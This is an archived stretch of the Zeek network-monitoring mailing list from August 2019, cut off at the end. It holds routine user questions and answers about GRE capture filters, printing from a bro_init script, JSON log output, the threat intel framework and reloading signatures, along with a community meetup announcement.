From akgraner at corelight.com  Thu Aug  1 05:34:02 2019
From: akgraner at corelight.com (Amber Graner)
Date: Thu, 1 Aug 2019 07:34:02 -0500
Subject: [Zeek] Engineering Off-Site
Message-ID: <CAJhOzur7r-fVEEDd3jZyEVYak3_cVk1h7tN6Of1e_+1F155wUw@mail.gmail.com>

Hi Zeke,

Are you coming to Ohio for the Off-Site?

Thanks,
~Amber

-- 
*Amber Graner*
Director of Community
Corelight, Inc

828.582.9469


 * Ask me about how you can participate in the Zeek (formerly Bro)
community.
 * Remember - ZEEK AND YOU SHALL FIND!!
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190801/20da564f/attachment.html 

From akgraner at corelight.com  Thu Aug  1 05:57:31 2019
From: akgraner at corelight.com (Amber Graner)
Date: Thu, 1 Aug 2019 07:57:31 -0500
Subject: [Zeek] Engineering Off-Site
In-Reply-To: <CAJhOzur7r-fVEEDd3jZyEVYak3_cVk1h7tN6Of1e_+1F155wUw@mail.gmail.com>
References: <CAJhOzur7r-fVEEDd3jZyEVYak3_cVk1h7tN6Of1e_+1F155wUw@mail.gmail.com>
Message-ID: <CAJhOzurnMxqQUuXJN92MBj+qT7u6VzS5VW_Sa=TUWeizaqFLdQ@mail.gmail.com>

Hi all,

Please disregard my last email. Wrong ?Zeek?.  Working from a plane and no
caffeine. #fail

Thanks and have a great day!
~Amber

On Thu, Aug 1, 2019 at 7:34 AM Amber Graner <akgraner at corelight.com> wrote:

> Hi Zeke,
>
> Are you coming to Ohio for the Off-Site?
>
> Thanks,
> ~Amber
>
>
> --
> *Amber Graner*
> Director of Community
> Corelight, Inc
>
> 828.582.9469
>
>
>  * Ask me about how you can participate in the Zeek (formerly Bro)
> community.
>  * Remember - ZEEK AND YOU SHALL FIND!!
>
>
> --
*Amber Graner*
Director of Community
Corelight, Inc

828.582.9469


 * Ask me about how you can participate in the Zeek (formerly Bro)
community.
 * Remember - ZEEK AND YOU SHALL FIND!!
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190801/5fb5b8e0/attachment.html 

From justin at corelight.com  Thu Aug  1 07:35:13 2019
From: justin at corelight.com (Justin Azoff)
Date: Thu, 1 Aug 2019 10:35:13 -0400
Subject: [Zeek] gre capture filter
In-Reply-To: <CAGATen6T5LcJi5EfyZYuNjMuXM51ifYV5C06V0o-Gsn_BEreZQ@mail.gmail.com>
References: <CAGATen6T5LcJi5EfyZYuNjMuXM51ifYV5C06V0o-Gsn_BEreZQ@mail.gmail.com>
Message-ID: <CAPfnCugCnensKBMBkoW4BNouuAzNSXxbV4D8z_xf0ARjMbBsRQ@mail.gmail.com>

Looks like offsets 50 and 54 are from the ethernet layer, not ip

tcpdump  -r  gre-sample2.pcap  'proto gre and (ether[50:4]=0xac1c0203 or
ether[54:4]=0xac1c0203)'

works, as does

tcpdump  -r  gre-sample2.pcap  "proto gre and (ip[36:4]=0xac1c0203 or
ip[40:4]=0xac1c0203)"

I started working this out, but then just brute forced it:

for x in `seq 1 80`;do echo offset: $x $(tcpdump  -r  gre-sample2.pcap
 "(ip[$x:4]=0xac1c0203)" 2> /dev/null|wc -l) pkts  ;done|grep -v '0 pkts'
outputs
offset: 36 16 pkts
offset: 40 18 pkts
offset: 68 2 pkts

in theory newer  bpf supports 'protochain gre and host 172.28.2.3' but
while that generates a huge bpf program it doesn't actually work.

On Wed, Jul 31, 2019 at 9:51 PM Dk Jack <dnj0496 at gmail.com> wrote:

> Hi,
> I am trying to write a capture filter to filter GRE traffic based on the
> inside IP of a GRE packet. Based on the advice given in the link below:
>
>
> http://novalidhostsfound.blogspot.com/2015/03/how-to-filter-ip-addresses-inside-gre.html
>
> I wrote my capture filter (see at end of the email). With the capture
> filter, I am getting the following error:
>
> "Invalid capture_filter named 'inside_ip' - 'proto gre and
> (ip[50:4]=0xac1c0203 or ip[54:4]=0xac1c0203)'"
>
> when I use the same filter with tcpdump i.e. 'tcpdump -r <pcap-file>
> <filter', it doesn't produce any output. However, it doesn't complain about
> the filter being incorrect either. I've attached the pcap I am using. Any
> help is appreciated.
>
> Thanks.
> Dk.
>
> redef capture_filters += {
>        ["inside_ip"] = "proto gre and (ip[50:4]=0xac1c0203 or
> ip[54:4]=0xac1c0203)"
> };
>
> event bro_init()
> {
>         print "Hello, World!";
> }
>
> event bro_done()
> {
> print "Goodbye, World!";
> }
>
> _______________________________________________
> Zeek mailing list
> zeek at zeek.org
> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek



-- 
Justin
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190801/af7c41b3/attachment-0001.html 

From corichter at iso-ne.com  Thu Aug  1 12:16:47 2019
From: corichter at iso-ne.com (Richter, Cody)
Date: Thu, 1 Aug 2019 19:16:47 +0000
Subject: [Zeek] Threat Intel Framework not generating intel.log
Message-ID: <33DE121F508A764CACDAE12A74A56CD04CD5AD@EXCMCCMB1.iso-ne.com>

Hello there,

I have spent hours attempting to get the threat intel framework running on Zeek, but still am having no luck. Despite following the tutorials to a T, there is no intel.log generated with the rest of the log files. Running the scripts against a generated pcap will create the intel.log file, but nothing is being made in the logs folder as normal traffic passes through. All other logs are generating, and I can't seem to find any issues.

Thank you,
Cody
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190801/426c0ef5/attachment.html 

From dnj0496 at gmail.com  Thu Aug  1 14:14:54 2019
From: dnj0496 at gmail.com (Dk Jack)
Date: Thu, 1 Aug 2019 14:14:54 -0700
Subject: [Zeek] gre capture filter
In-Reply-To: <CAPfnCugCnensKBMBkoW4BNouuAzNSXxbV4D8z_xf0ARjMbBsRQ@mail.gmail.com>
References: <CAGATen6T5LcJi5EfyZYuNjMuXM51ifYV5C06V0o-Gsn_BEreZQ@mail.gmail.com>
	<CAPfnCugCnensKBMBkoW4BNouuAzNSXxbV4D8z_xf0ARjMbBsRQ@mail.gmail.com>
Message-ID: <CAGATen7rEfR_wBgU1+Eq7ZmtQA4fdSjZXvg8-0k252x8B-Cd-A@mail.gmail.com>

Thanks Justin,
Your suggestion works for tcpdump. However, bro is still complaining when I
put in the filter.
Any idea on how to get around that?

On Thu, Aug 1, 2019 at 7:35 AM Justin Azoff <justin at corelight.com> wrote:

> Looks like offsets 50 and 54 are from the ethernet layer, not ip
>
> tcpdump  -r  gre-sample2.pcap  'proto gre and (ether[50:4]=0xac1c0203 or
> ether[54:4]=0xac1c0203)'
>
> works, as does
>
> tcpdump  -r  gre-sample2.pcap  "proto gre and (ip[36:4]=0xac1c0203 or
> ip[40:4]=0xac1c0203)"
>
> I started working this out, but then just brute forced it:
>
> for x in `seq 1 80`;do echo offset: $x $(tcpdump  -r  gre-sample2.pcap
>  "(ip[$x:4]=0xac1c0203)" 2> /dev/null|wc -l) pkts  ;done|grep -v '0 pkts'
> outputs
> offset: 36 16 pkts
> offset: 40 18 pkts
> offset: 68 2 pkts
>
> in theory newer  bpf supports 'protochain gre and host 172.28.2.3' but
> while that generates a huge bpf program it doesn't actually work.
>
> On Wed, Jul 31, 2019 at 9:51 PM Dk Jack <dnj0496 at gmail.com> wrote:
>
>> Hi,
>> I am trying to write a capture filter to filter GRE traffic based on the
>> inside IP of a GRE packet. Based on the advice given in the link below:
>>
>>
>> http://novalidhostsfound.blogspot.com/2015/03/how-to-filter-ip-addresses-inside-gre.html
>>
>> I wrote my capture filter (see at end of the email). With the capture
>> filter, I am getting the following error:
>>
>> "Invalid capture_filter named 'inside_ip' - 'proto gre and
>> (ip[50:4]=0xac1c0203 or ip[54:4]=0xac1c0203)'"
>>
>> when I use the same filter with tcpdump i.e. 'tcpdump -r <pcap-file>
>> <filter', it doesn't produce any output. However, it doesn't complain about
>> the filter being incorrect either. I've attached the pcap I am using. Any
>> help is appreciated.
>>
>> Thanks.
>> Dk.
>>
>> redef capture_filters += {
>>        ["inside_ip"] = "proto gre and (ip[50:4]=0xac1c0203 or
>> ip[54:4]=0xac1c0203)"
>> };
>>
>> event bro_init()
>> {
>>         print "Hello, World!";
>> }
>>
>> event bro_done()
>> {
>> print "Goodbye, World!";
>> }
>>
>> _______________________________________________
>> Zeek mailing list
>> zeek at zeek.org
>> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek
>
>
>
> --
> Justin
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190801/08e1cb00/attachment.html 

From justin at corelight.com  Thu Aug  1 14:23:21 2019
From: justin at corelight.com (Justin Azoff)
Date: Thu, 1 Aug 2019 17:23:21 -0400
Subject: [Zeek] gre capture filter
In-Reply-To: <CAGATen7rEfR_wBgU1+Eq7ZmtQA4fdSjZXvg8-0k252x8B-Cd-A@mail.gmail.com>
References: <CAGATen6T5LcJi5EfyZYuNjMuXM51ifYV5C06V0o-Gsn_BEreZQ@mail.gmail.com>
	<CAPfnCugCnensKBMBkoW4BNouuAzNSXxbV4D8z_xf0ARjMbBsRQ@mail.gmail.com>
	<CAGATen7rEfR_wBgU1+Eq7ZmtQA4fdSjZXvg8-0k252x8B-Cd-A@mail.gmail.com>
Message-ID: <CAPfnCujwcxsuHtMGBGs3fksAAZ3NsqJXESG8m5UfT+PoBF2D8Q@mail.gmail.com>

What message are you getting?  I just tried this now and it appeared to
work:

redef capture_filters += {
       ["inside_ip"] = "proto gre and (ip[36:4]=0xac1c0203 or
ip[40:4]=0xac1c0203)"
};

it may matter if you are using a different packet source plugin though like
pf_ring or af_packet.


On Thu, Aug 1, 2019 at 5:15 PM Dk Jack <dnj0496 at gmail.com> wrote:

> Thanks Justin,
> Your suggestion works for tcpdump. However, bro is still complaining when
> I put in the filter.
> Any idea on how to get around that?
>
> On Thu, Aug 1, 2019 at 7:35 AM Justin Azoff <justin at corelight.com> wrote:
>
>> Looks like offsets 50 and 54 are from the ethernet layer, not ip
>>
>> tcpdump  -r  gre-sample2.pcap  'proto gre and (ether[50:4]=0xac1c0203 or
>> ether[54:4]=0xac1c0203)'
>>
>> works, as does
>>
>> tcpdump  -r  gre-sample2.pcap  "proto gre and (ip[36:4]=0xac1c0203 or
>> ip[40:4]=0xac1c0203)"
>>
>> I started working this out, but then just brute forced it:
>>
>> for x in `seq 1 80`;do echo offset: $x $(tcpdump  -r  gre-sample2.pcap
>>  "(ip[$x:4]=0xac1c0203)" 2> /dev/null|wc -l) pkts  ;done|grep -v '0 pkts'
>> outputs
>> offset: 36 16 pkts
>> offset: 40 18 pkts
>> offset: 68 2 pkts
>>
>> in theory newer  bpf supports 'protochain gre and host 172.28.2.3' but
>> while that generates a huge bpf program it doesn't actually work.
>>
>> On Wed, Jul 31, 2019 at 9:51 PM Dk Jack <dnj0496 at gmail.com> wrote:
>>
>>> Hi,
>>> I am trying to write a capture filter to filter GRE traffic based on the
>>> inside IP of a GRE packet. Based on the advice given in the link below:
>>>
>>>
>>> http://novalidhostsfound.blogspot.com/2015/03/how-to-filter-ip-addresses-inside-gre.html
>>>
>>> I wrote my capture filter (see at end of the email). With the capture
>>> filter, I am getting the following error:
>>>
>>> "Invalid capture_filter named 'inside_ip' - 'proto gre and
>>> (ip[50:4]=0xac1c0203 or ip[54:4]=0xac1c0203)'"
>>>
>>> when I use the same filter with tcpdump i.e. 'tcpdump -r <pcap-file>
>>> <filter', it doesn't produce any output. However, it doesn't complain about
>>> the filter being incorrect either. I've attached the pcap I am using. Any
>>> help is appreciated.
>>>
>>> Thanks.
>>> Dk.
>>>
>>> redef capture_filters += {
>>>        ["inside_ip"] = "proto gre and (ip[50:4]=0xac1c0203 or
>>> ip[54:4]=0xac1c0203)"
>>> };
>>>
>>> event bro_init()
>>> {
>>>         print "Hello, World!";
>>> }
>>>
>>> event bro_done()
>>> {
>>> print "Goodbye, World!";
>>> }
>>>
>>> _______________________________________________
>>> Zeek mailing list
>>> zeek at zeek.org
>>> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek
>>
>>
>>
>> --
>> Justin
>>
>

-- 
Justin
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190801/6c479f67/attachment.html 

From dnj0496 at gmail.com  Thu Aug  1 16:36:10 2019
From: dnj0496 at gmail.com (Dk Jack)
Date: Thu, 1 Aug 2019 16:36:10 -0700
Subject: [Zeek] gre capture filter
In-Reply-To: <CAPfnCujwcxsuHtMGBGs3fksAAZ3NsqJXESG8m5UfT+PoBF2D8Q@mail.gmail.com>
References: <CAGATen6T5LcJi5EfyZYuNjMuXM51ifYV5C06V0o-Gsn_BEreZQ@mail.gmail.com>
	<CAPfnCugCnensKBMBkoW4BNouuAzNSXxbV4D8z_xf0ARjMbBsRQ@mail.gmail.com>
	<CAGATen7rEfR_wBgU1+Eq7ZmtQA4fdSjZXvg8-0k252x8B-Cd-A@mail.gmail.com>
	<CAPfnCujwcxsuHtMGBGs3fksAAZ3NsqJXESG8m5UfT+PoBF2D8Q@mail.gmail.com>
Message-ID: <CAGATen49BNep+_UdD236pc=6Eue=OtYNSTE88kn-H7f_dWJcEw@mail.gmail.com>

Looks like I may have had a typo. It seems to work now. Thanks for the help.

On Thu, Aug 1, 2019 at 2:23 PM Justin Azoff <justin at corelight.com> wrote:

> What message are you getting?  I just tried this now and it appeared to
> work:
>
> redef capture_filters += {
>        ["inside_ip"] = "proto gre and (ip[36:4]=0xac1c0203 or
> ip[40:4]=0xac1c0203)"
> };
>
> it may matter if you are using a different packet source plugin though
> like pf_ring or af_packet.
>
>
> On Thu, Aug 1, 2019 at 5:15 PM Dk Jack <dnj0496 at gmail.com> wrote:
>
>> Thanks Justin,
>> Your suggestion works for tcpdump. However, bro is still complaining when
>> I put in the filter.
>> Any idea on how to get around that?
>>
>> On Thu, Aug 1, 2019 at 7:35 AM Justin Azoff <justin at corelight.com> wrote:
>>
>>> Looks like offsets 50 and 54 are from the ethernet layer, not ip
>>>
>>> tcpdump  -r  gre-sample2.pcap  'proto gre and (ether[50:4]=0xac1c0203 or
>>> ether[54:4]=0xac1c0203)'
>>>
>>> works, as does
>>>
>>> tcpdump  -r  gre-sample2.pcap  "proto gre and (ip[36:4]=0xac1c0203 or
>>> ip[40:4]=0xac1c0203)"
>>>
>>> I started working this out, but then just brute forced it:
>>>
>>> for x in `seq 1 80`;do echo offset: $x $(tcpdump  -r  gre-sample2.pcap
>>>  "(ip[$x:4]=0xac1c0203)" 2> /dev/null|wc -l) pkts  ;done|grep -v '0 pkts'
>>> outputs
>>> offset: 36 16 pkts
>>> offset: 40 18 pkts
>>> offset: 68 2 pkts
>>>
>>> in theory newer  bpf supports 'protochain gre and host 172.28.2.3' but
>>> while that generates a huge bpf program it doesn't actually work.
>>>
>>> On Wed, Jul 31, 2019 at 9:51 PM Dk Jack <dnj0496 at gmail.com> wrote:
>>>
>>>> Hi,
>>>> I am trying to write a capture filter to filter GRE traffic based on
>>>> the inside IP of a GRE packet. Based on the advice given in the link below:
>>>>
>>>>
>>>> http://novalidhostsfound.blogspot.com/2015/03/how-to-filter-ip-addresses-inside-gre.html
>>>>
>>>> I wrote my capture filter (see at end of the email). With the capture
>>>> filter, I am getting the following error:
>>>>
>>>> "Invalid capture_filter named 'inside_ip' - 'proto gre and
>>>> (ip[50:4]=0xac1c0203 or ip[54:4]=0xac1c0203)'"
>>>>
>>>> when I use the same filter with tcpdump i.e. 'tcpdump -r <pcap-file>
>>>> <filter', it doesn't produce any output. However, it doesn't complain about
>>>> the filter being incorrect either. I've attached the pcap I am using. Any
>>>> help is appreciated.
>>>>
>>>> Thanks.
>>>> Dk.
>>>>
>>>> redef capture_filters += {
>>>>        ["inside_ip"] = "proto gre and (ip[50:4]=0xac1c0203 or
>>>> ip[54:4]=0xac1c0203)"
>>>> };
>>>>
>>>> event bro_init()
>>>> {
>>>>         print "Hello, World!";
>>>> }
>>>>
>>>> event bro_done()
>>>> {
>>>> print "Goodbye, World!";
>>>> }
>>>>
>>>> _______________________________________________
>>>> Zeek mailing list
>>>> zeek at zeek.org
>>>> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek
>>>
>>>
>>>
>>> --
>>> Justin
>>>
>>
>
> --
> Justin
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190801/ea165835/attachment-0001.html 

From rahulbroids at gmail.com  Sun Aug  4 21:26:08 2019
From: rahulbroids at gmail.com (rahul rakesh)
Date: Mon, 5 Aug 2019 09:56:08 +0530
Subject: [Zeek] bro init () method
Message-ID: <CADJmW1kHVrZcJ+WPf=zu5TbRjcNjxd7ULpYk2ip1nG6woT06xA@mail.gmail.com>

Hi all,

I have written simple below script in  testaddedsig.bro file

*CODE:*

module Test;

event bro_init() &priority=5
{
print "testaddedsig : bro init method";

}

And also this file declared in local.bro ,like this.
@load testaddedsig.

My doubt is , where this print stmt is printed.
If is not printing ,then what is the problem.how to reslove it.

with regards
ravi
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190805/4176e9b0/attachment.html 

From dracosp at gmail.com  Sun Aug  4 23:04:25 2019
From: dracosp at gmail.com (Panos_D.)
Date: Mon, 5 Aug 2019 09:04:25 +0300
Subject: [Zeek] bro init () method
In-Reply-To: <CADJmW1kHVrZcJ+WPf=zu5TbRjcNjxd7ULpYk2ip1nG6woT06xA@mail.gmail.com>
References: <CADJmW1kHVrZcJ+WPf=zu5TbRjcNjxd7ULpYk2ip1nG6woT06xA@mail.gmail.com>
Message-ID: <CA+54r+6bPztscMc8Xe7koCqSMmkf_srn8pQ5rc7zQfHJqXatkg@mail.gmail.com>

Hello Ravi,

It will print it out in your terminal, once you call the script, unless you
store the result in a text file.

Best Regards

On Mon, 5 Aug 2019 at 07:28, rahul rakesh <rahulbroids at gmail.com> wrote:

> Hi all,
>
> I have written simple below script in  testaddedsig.bro file
>
> *CODE:*
>
> module Test;
>
> event bro_init() &priority=5
> {
> print "testaddedsig : bro init method";
>
> }
>
> And also this file declared in local.bro ,like this.
> @load testaddedsig.
>
> My doubt is , where this print stmt is printed.
> If is not printing ,then what is the problem.how to reslove it.
>
> with regards
> ravi
>
>
> _______________________________________________
> Zeek mailing list
> zeek at zeek.org
> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190805/de8c90ca/attachment.html 

From smshahzaibshah at gmail.com  Mon Aug  5 02:29:35 2019
From: smshahzaibshah at gmail.com (Shahzaib Shah)
Date: Mon, 5 Aug 2019 14:29:35 +0500
Subject: [Zeek] Logs Conversion
Message-ID: <CAEAzKQrkYi_UcvRBXdyWQsvq-W1bpS30jwDAbxhtzdY8zjxb5A@mail.gmail.com>

Hi there.
I have been collecting log file using bro and all the log file that I
received is in .log file and I logs in .json formate. Is there any way to
convert that log files into .json formate?? any idea??

I am trying to convert this using " sudo bro -i wlp1s0 -e 'redef
LogAscii::use_json=T;'  "
But getting no result.?

thanks regards
Syed Shahzaib
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190805/a0070c39/attachment.html 

From Jens.Rembe at de.ey.com  Mon Aug  5 02:31:24 2019
From: Jens.Rembe at de.ey.com (Jens Rembe)
Date: Mon, 5 Aug 2019 09:31:24 +0000
Subject: [Zeek] How large can the Intel file .dat be?
Message-ID: <bc5281bb7e644cfea5669c5aaa01712c@de.ey.com>

Hello Zeek Community,

I am doing some researches to Zeek.
Maybe one of you can help me with that question. How large can the intel file (intel-1.dat from try.zeek.org) can be?
I'm asking that question because if you fill that file with tons of IP's/domains , there should be some performance issues with the large incoming IP'S and matching these to the list.
I hope somebody can help me.

Thank you for your time and I am looking forward to hearing from you

Best Regards,
Jens


Mit freundlichen Gr??en,
Best Regards,
Jens Rembe

***Privileged & Confidential-Attorney-Client Communication-Prepared at the Request of Counsel, Vertrauliche Verteidigerkorrespondenz.***

--
Find us on: Facebook<https://www.facebook.com/pages/Ernst-Young/195665063800329> | LinkedIn<http://www.linkedin.com/company/1073> | Twitter<http://twitter.com/EYnews> | YouTube<http://www.youtube.com/ernstandyoungglobal>
[cid:image001.gif at 01D54B81.4FA4EA50]

Jens Rembe | Staff/Assistant | Assurance | Forensic & Integrity Services | Forensic Technologies

Ernst & Young GmbH Wirtschaftspr?fungsgesellschaft
Mergenthalerallee 3-5, 65760, Eschborn/Frankfurt am Main, Germany
Office: +49 (6196) 996 11543 | Mobile: +49 (6196) 939 11543 | jens.rembe at de.ey.com<mailto:jens.rembe at de.ey.com>
Website: http://www.ey.com


______________________________________________________

Ernst & Young GmbH
Wirtschaftspr?fungsgesellschaft

Unabh?ngiges Mitglied von Ernst & Young Global Limited
Aufsichtsratsvorsitzender: WP/StB Georg Graf Waldersee - Gesch?ftsf?hrung: WP/StB Hubert Barth, Vorsitzender
CPA Julie Linn Teigland - WP/StB Alexander Kron - WP/StB Mathieu Meyer
WP/StB Claus-Peter Wagner - WP/StB Prof. Dr. Peter Wollmert - RA/StB Dr. Henrik Ahlers - Constantin M. Gall
Sitz der Gesellschaft: Stuttgart - Rechtsform: GmbH - Amtsgericht Stuttgart HRB 730277 - VAT: DE 147799609


Capital Insights - the latest thinking from Ernst & Young on your Capital Agenda: investing through M&A transactions; raising funds; and optimizing finances. Visit www.capitalinsights.info

This e-mail communication (and any attachment/s) is confidential and intended only for the individual(s) or entity named above and to others who have been specifically authorized to receive it. If you are not the intended recipient, please do not read, copy, use or disclose the contents of this communication to others. Please notify the sender that you have received this e-mail in error, by calling the phone number indicated or by e-mail, and delete the e-mail (including any attachment/s) subsequently. This information may be subject to professional secrecy (e. g. of auditor, tax or legal advisor), other privilege or otherwise be protected by work product immunity or other legal rules. Thank you.

Data privacy notice: The Ernst & Young GmbH Wirtschaftspr?fungsgesellschaft protects your personal data. Please find more information about how we process your personal data in our privacy notice: www.de.ey.com/datenschutz-EYGmbH. Furthermore the Ernst & Young Member Firms share an international system for the maintenance and administration of your personal contact details in order to be able to send you up-to-date information and invitations tailored to you and your needs. If you do not wish to make use of this service offered by Ernst & Young, please send a mail to EY.CRM at EY.COM
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190805/2ce90f21/attachment-0001.html 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: image001.gif
Type: image/gif
Size: 4133 bytes
Desc: image001.gif
Url : http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190805/2ce90f21/attachment-0001.gif 

From ericooi at gmail.com  Mon Aug  5 08:34:47 2019
From: ericooi at gmail.com (Eric Ooi)
Date: Mon, 5 Aug 2019 10:34:47 -0500
Subject: [Zeek] Logs Conversion
In-Reply-To: <CAEAzKQrkYi_UcvRBXdyWQsvq-W1bpS30jwDAbxhtzdY8zjxb5A@mail.gmail.com>
References: <CAEAzKQrkYi_UcvRBXdyWQsvq-W1bpS30jwDAbxhtzdY8zjxb5A@mail.gmail.com>
Message-ID: <E1F51C53-3A2E-4B2A-A180-C636CFEFA0D7@gmail.com>

You can edit /opt/bro/share/bro/site/local.bro (assuming you?ve installed it to /opt/bro) and add "@load policy/tuning/json-logs.bro? (without quotes) and then redeploy Bro.


> On Aug 5, 2019, at 4:29 AM, Shahzaib Shah <smshahzaibshah at gmail.com> wrote:
> 
> Hi there.
> I have been collecting log file using bro and all the log file that I received is in .log file and I logs in .json formate. Is there any way to convert that log files into .json formate?? any idea??
> 
> I am trying to convert this using " sudo bro -i wlp1s0 -e 'redef LogAscii::use_json=T;'  "
> But getting no result.?
> 
> thanks regards 
> Syed Shahzaib
> _______________________________________________
> Zeek mailing list
> zeek at zeek.org
> http://mailman.ICSI.Berkeley.EDU/mailman/listinfo/zeek



From akgraner at corelight.com  Mon Aug  5 14:46:06 2019
From: akgraner at corelight.com (Amber Graner)
Date: Mon, 5 Aug 2019 16:46:06 -0500
Subject: [Zeek] Elastic Meetups and Workshops - Open Source Network Security
 Monitoring Using Zeek and Elastic
Message-ID: <CAJhOzuo_tyAnwmMOvN98QppREXV0WmcBLe6wFNyQ0zOGQh0oOQ@mail.gmail.com>

Hi all,

Below are the first in a series of Elastic Meetups and Workshops where Zeek
will be featured:  The series is titled: Open Source Network Security
Monitoring Using Zeek and Elastic.

Dates and details below.

Salt Lake City, UT - 20 August 19 (Meetup) - https://ela.st/slc-zeek-meetup
Denver, CO - 22 August (Meetup) - https://ela.st/den-zeek-meetup
Denver, CO) - 24 August (Workshop) - https://ela.st/den-zeek-workshop

These meetups and workshops are free and open to the public, but
registration is required.

During these meetups the presenters will introduce Zeek and demonstrate how
to easily ingest logs generated by Zeek into Elasticsearch and how perform
Threat Hunting and Incident Response using Kibana.

If you're in the Salt Lake City, or Denver areas we hope to see you there.

Please let me know if you have any questions.

Thanks,
~Amber

-- 
*Amber Graner*
Director of Community
Corelight, Inc

828.582.9469


 * Ask me about how you can participate in the Zeek (formerly Bro)
community.
 * Remember - ZEEK AND YOU SHALL FIND!!
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190805/a9fa1dc2/attachment.html 

From mauro.palumbo at aizoon.it  Wed Aug  7 08:38:24 2019
From: mauro.palumbo at aizoon.it (Palumbo Mauro)
Date: Wed, 7 Aug 2019 15:38:24 +0000
Subject: [Zeek] signature update without restarting zeek
Message-ID: <39075c62a819453c8526448da7677db5@SRVEX03.aizoon.local>

Hi everybody,
   I think it would be nice to be able to update a user-defined signature file without restarting zeek, possibly using the input framework. However, I believe this is not available yet nor it seems easy to implement. After a quick look at the code, it is my understanding that the rule parsing is done for signature files using bison/yacc machinery. Signature files are loaded and parsed when starting zeek, in main.cc.

It would save me a great deal of time if somebody could tell me how easy it would be to implement this feature and point me in the right direction.

Thanks in advance,
Mauro
-------------- next part --------------
An HTML attachment was scrubbed...
URL: http://mailman.ICSI.Berkeley.EDU/pipermail/zeek/attachments/20190807/6e4062ea/attachment.html 

From christopher.hobbs at corelight.com  Wed Aug  7 09:03:58 2019
From: christopher.hobbs at corelight.com (Christopher M. Hobbs)
Date: Wed, 7 Aug 2019 11:03:58 -0500
Subject: [Zeek] signature update without restarting zeek
In-Reply-To: <39075c62a819453c8526448da7677db5@SRVEX03.aizoon.local>
References: <39075c62a819453c8526448da7677db5@SRVEX03.aizoon.local>
Message-ID: <37c86b0b-35d6-2007-e797-226e14ae9540@corelight.com>



On 8/7/19 10:38 AM, Palumbo Mauro wrote:
> Hi everybody,
> 
> ?? I think it would be nice to be able to update a user-defined
> signature file without restarting zeek, possibly using the input
> framework. 

Hello, Palumbo!

I'm not sure about the rule parsing but it might help to know that the
input framework is capable of re-reading files:

https://docs.zeek.org/en/stable/frameworks/input.html#re-reading-and-streaming-data

Sorry if that's not much help, it's just a recent feature that I came
across that may be useful to you.

Regards,
cmh

From mauro.palumbo at aizoon.it  Wed Aug  7 09:11:01 2019
From: mauro.palumbo at aizoon.it (Palumbo Mauro)
Date: Wed, 7 Aug 2019 16:11:01 +0000
Subject: [Zeek] R:  signature update without restarting zeek
In-Reply-To: <37c86b0b-35d6-2007-e797-226e14ae9540@corelight.com>
References: <39075c62a819453c8526448da7677db5@SRVEX03.aizoon.local>
	<37c86b0b-35d6-2007-e797-226e14ae9540@corelight.com>
Message-ID: <67659f98451d429aa7a6d085cdd07d2f@SRVEX03.aizoon.local>

Hi Christopher,
  I am aware of the input framework feature REREAD and in fact I already used it for other files. However, it is my understanding that this cannot be used for signatures files. But I'll be glad to be wrong on this point... :-)

Thanks
Mauro

-----Messaggio originale-----
Da: Christopher M. Hobbs [mailto:christopher.hobbs at corelight.com] 
Inviato: mercoled? 7 agosto 2019 18:04
A: Palumbo Mauro <mauro.palumbo at aizoon.it>
Cc: zeek at zeek.org
Oggetto: Re: [Zeek] signature update without restarting zeek



On 8/7/19 10:38 AM, Palumbo Mauro wrote:
> Hi everybody,
> 
> ?? I think it would be nice to be able to update a user-defined 
> signature file without restarting zeek, possibly using the input 
> framework.

Hello, Palumbo!

I'm not sure about the rule parsing but it might help to know that the input framework is capable of re-reading files:

https://docs.zeek.org/en/stable/frameworks/input.html#re-reading-and-streaming-data

Sorry if that's not much help, it's just a recent feature that I came across that may be useful to you.

Regards,
cmh


From christopher.hobbs at corelight.com  Wed Aug  7 09:13:39 2019
From: christopher.hobbs at corelight.com (Christopher M. Hobbs)
Date: Wed, 7 Aug 2019 11:13:39 -0500
Subject: [Zeek] R:  signature update without restarting zeek
In-Reply-To: <67659f98451d429aa7a6d085cdd07d2f@SRVEX03.aizoon.local>
References: <39075c62a819453c8526448da7677db5@SRVEX03.aizoon.local>
	<37c86b0b-35d6-2007-e797-226e14ae9540@corelight.com>
	<67659f98451d429aa7a6d085cdd07d2f@SRVEX03.aizoon.local>
Message-ID: <79ac50f5-cfd5-162c-7767-72a396be4f97@corelight.com>



On 8/7/19 11:11 AM, Palumbo Mauro wrote:
> Hi Christopher,
>   I am aware of the input framework feature REREAD and in fact I already used it for other files. However, it is my understanding that this cannot be used for signatures files. But I'll be glad to be wrong on this point... :-)


Very well!  Sorry for misunderstanding the scope.  I'm sure someone will
be able to fill us both in on possible options!

cmh

From neslog at gmail.com  Wed Aug  7 10:14:51 2019
From: neslog at gmail.com (Neslog)
